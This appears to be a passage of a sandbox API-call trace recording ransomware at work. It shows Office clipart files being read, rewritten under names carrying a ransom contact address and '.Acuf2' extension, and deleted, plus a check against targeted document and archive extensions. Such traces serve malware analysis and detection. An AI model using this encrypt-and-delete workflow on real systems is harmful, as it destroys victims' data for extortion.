	[0272.223] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x43d0, lpOverlapped=0x0) returned 1
	[0272.224] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.225] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.225] SetEndOfFile (hFile=0x328) returned 1
	[0272.225] CloseHandle (hObject=0x328) returned 1
	[0272.225] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.225] SetEndOfFile (hFile=0x35c) returned 1
	[0272.227] CloseHandle (hObject=0x35c) returned 1
	[0272.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 1
	[0272.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63
	[0272.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63
	[0272.229] lstrlenW (lpString=".doc") returned 4
	[0272.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.229] lstrlenW (lpString=".docx") returned 5
	[0272.229] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0272.229] lstrlenW (lpString=".pdf") returned 4
	[0272.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.230] lstrlenW (lpString=".xls") returned 4
	[0272.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.230] lstrlenW (lpString=".xlsx") returned 5
	[0272.230] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0272.230] lstrlenW (lpString=".ppt") returned 4
	[0272.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63
	[0272.230] lstrlenW (lpString=".zip") returned 4
	[0272.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.230] lstrlenW (lpString=".rar") returned 4
	[0272.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.230] lstrlenW (lpString=".bz2") returned 4
	[0272.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.230] lstrlenW (lpString=".7z") returned 3
	[0272.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63
	[0272.230] lstrlenW (lpString=".dbf") returned 4
	[0272.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63
	[0272.230] lstrlenW (lpString=".1cd") returned 4
	[0272.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63
	[0272.230] lstrlenW (lpString=".jpg") returned 4
	[0272.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.240] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=44948) returned 1
	[0272.240] CloseHandle (hObject=0x29c) returned 1
	[0272.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20
	[0272.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0272.376] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.376] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0272.429] GetLastError () returned 0x0
	[0272.429] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xaf94, lpOverlapped=0x0) returned 1
	[0272.456] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xafa0, lpOverlapped=0x0) returned 1
	[0272.457] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.457] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.458] SetEndOfFile (hFile=0x29c) returned 1
	[0272.458] CloseHandle (hObject=0x29c) returned 1
	[0272.458] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.458] SetEndOfFile (hFile=0x274) returned 1
	[0272.468] CloseHandle (hObject=0x274) returned 1
	[0272.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 1
	[0272.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63
	[0272.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63
	[0272.469] lstrlenW (lpString=".doc") returned 4
	[0272.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.469] lstrlenW (lpString=".docx") returned 5
	[0272.469] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.469] lstrlenW (lpString=".pdf") returned 4
	[0272.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.469] lstrlenW (lpString=".xls") returned 4
	[0272.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.469] lstrlenW (lpString=".xlsx") returned 5
	[0272.469] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.469] lstrlenW (lpString=".ppt") returned 4
	[0272.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63
	[0272.469] lstrlenW (lpString=".zip") returned 4
	[0272.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.469] lstrlenW (lpString=".rar") returned 4
	[0272.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.469] lstrlenW (lpString=".bz2") returned 4
	[0272.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.469] lstrlenW (lpString=".7z") returned 3
	[0272.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63
	[0272.469] lstrlenW (lpString=".dbf") returned 4
	[0272.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63
	[0272.469] lstrlenW (lpString=".1cd") returned 4
	[0272.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63
	[0272.469] lstrlenW (lpString=".jpg") returned 4
	[0272.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.479] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5632) returned 1
	[0272.479] CloseHandle (hObject=0x390) returned 1
	[0272.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20
	[0272.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.479] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.479] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.480] GetLastError () returned 0x0
	[0272.480] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1600, lpOverlapped=0x0) returned 1
	[0272.481] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1610, lpOverlapped=0x0) returned 1
	[0272.482] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.482] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.482] SetEndOfFile (hFile=0x360) returned 1
	[0272.482] CloseHandle (hObject=0x360) returned 1
	[0272.482] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.482] SetEndOfFile (hFile=0x390) returned 1
	[0272.484] CloseHandle (hObject=0x390) returned 1
	[0272.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 1
	[0272.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63
	[0272.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63
	[0272.485] lstrlenW (lpString=".doc") returned 4
	[0272.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.485] lstrlenW (lpString=".docx") returned 5
	[0272.485] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.485] lstrlenW (lpString=".pdf") returned 4
	[0272.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.485] lstrlenW (lpString=".xls") returned 4
	[0272.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.485] lstrlenW (lpString=".xlsx") returned 5
	[0272.485] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.485] lstrlenW (lpString=".ppt") returned 4
	[0272.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63
	[0272.485] lstrlenW (lpString=".zip") returned 4
	[0272.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.485] lstrlenW (lpString=".rar") returned 4
	[0272.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.485] lstrlenW (lpString=".bz2") returned 4
	[0272.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.485] lstrlenW (lpString=".7z") returned 3
	[0272.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63
	[0272.485] lstrlenW (lpString=".dbf") returned 4
	[0272.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63
	[0272.485] lstrlenW (lpString=".1cd") returned 4
	[0272.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63
	[0272.486] lstrlenW (lpString=".jpg") returned 4
	[0272.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.486] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=17172) returned 1
	[0272.486] CloseHandle (hObject=0x390) returned 1
	[0272.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20
	[0272.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.487] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.487] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.487] GetLastError () returned 0x0
	[0272.487] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4314, lpOverlapped=0x0) returned 1
	[0272.489] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4320, lpOverlapped=0x0) returned 1
	[0272.490] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.490] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.490] SetEndOfFile (hFile=0x360) returned 1
	[0272.490] CloseHandle (hObject=0x360) returned 1
	[0272.490] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.490] SetEndOfFile (hFile=0x390) returned 1
	[0272.494] CloseHandle (hObject=0x390) returned 1
	[0272.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 1
	[0272.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63
	[0272.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63
	[0272.494] lstrlenW (lpString=".doc") returned 4
	[0272.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.494] lstrlenW (lpString=".docx") returned 5
	[0272.494] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0272.494] lstrlenW (lpString=".pdf") returned 4
	[0272.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.495] lstrlenW (lpString=".xls") returned 4
	[0272.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.495] lstrlenW (lpString=".xlsx") returned 5
	[0272.495] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0272.495] lstrlenW (lpString=".ppt") returned 4
	[0272.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63
	[0272.495] lstrlenW (lpString=".zip") returned 4
	[0272.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.495] lstrlenW (lpString=".rar") returned 4
	[0272.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.495] lstrlenW (lpString=".bz2") returned 4
	[0272.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.495] lstrlenW (lpString=".7z") returned 3
	[0272.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63
	[0272.495] lstrlenW (lpString=".dbf") returned 4
	[0272.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63
	[0272.495] lstrlenW (lpString=".1cd") returned 4
	[0272.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63
	[0272.495] lstrlenW (lpString=".jpg") returned 4
	[0272.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.496] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=11532) returned 1
	[0272.496] CloseHandle (hObject=0x390) returned 1
	[0272.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20
	[0272.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.496] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.496] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.497] GetLastError () returned 0x0
	[0272.497] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2d0c, lpOverlapped=0x0) returned 1
	[0272.719] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2d10, lpOverlapped=0x0) returned 1
	[0272.720] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.720] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.720] SetEndOfFile (hFile=0x360) returned 1
	[0272.720] CloseHandle (hObject=0x360) returned 1
	[0272.720] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.720] SetEndOfFile (hFile=0x390) returned 1
	[0272.723] CloseHandle (hObject=0x390) returned 1
	[0272.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 1
	[0272.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63
	[0272.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63
	[0272.723] lstrlenW (lpString=".doc") returned 4
	[0272.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.723] lstrlenW (lpString=".docx") returned 5
	[0272.723] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.723] lstrlenW (lpString=".pdf") returned 4
	[0272.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.724] lstrlenW (lpString=".xls") returned 4
	[0272.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.724] lstrlenW (lpString=".xlsx") returned 5
	[0272.724] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.724] lstrlenW (lpString=".ppt") returned 4
	[0272.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63
	[0272.724] lstrlenW (lpString=".zip") returned 4
